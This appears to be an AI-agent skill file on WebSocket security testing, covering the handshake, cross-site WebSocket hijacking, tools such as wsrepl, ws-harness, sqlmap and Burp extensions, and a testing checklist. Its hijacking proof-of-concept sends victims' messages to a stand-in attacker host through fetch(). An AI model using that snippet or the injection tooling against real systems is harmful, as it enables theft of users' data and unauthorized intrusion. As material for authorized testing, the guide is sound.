version: "1.0.0" name: websocket-security description: >- WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.

SKILL: WebSocket Security

AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load [api-security](../../../skills/specialized/api-security/SKILL.md) when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

Server success response indicators:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

中文路由提示：在 Burp/浏览器 DevTools 里筛 101 与 Upgrade: websocket；深度 API 测试从 api-security 技能对齐认证与授权模型。

1. PROTOCOL BASICS

Client request (typical)

• `Upgrade: websocket` and `Connection: Upgrade` — required upgrade handshake.
• `Sec-WebSocket-Key` — base64 nonce; server hashes with magic GUID and responds with `Sec-WebSocket-Accept`.
• `Sec-WebSocket-Version: 13` — current standard version for browser interoperability.

Server response

• `HTTP/1.1 101 Switching Protocols` — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

• The server does not validate `Origin` (or equivalent binding) on the WebSocket handshake, and
• The victim has an active session (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Proof-of-concept pattern (laboratory / authorized target only)

const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

Testing notes: Confirm whether `Origin` is checked, whether cookies are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.

3. TESTING WITH TOOLS

wsrepl

pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

• SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
• WebSocket Turbo Intruder — high-rate or scripted message fuzzing.

4. COMMON VULNERABILITIES

Example sensitive URL anti-pattern:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.

5. DECISION TREE

1. Identify endpoint — From JS bundles, Swagger, or 101 responses; note wss vs ws.
2. Handshake review — Are `Origin`, Host, and Cookie policies correct? Any token in query string?
3. Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
4. CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
5. Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
6. Transport — Flag `ws://` in production; verify TLS and HSTS alignment.

6. RELATED ROUTING

• From [api-security](../../../skills/specialized/api-security/SKILL.md) — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.

中文：WebSocket 常与 REST 共用会话与权限模型；从 api-security 对齐同一后端的认证与资源边界。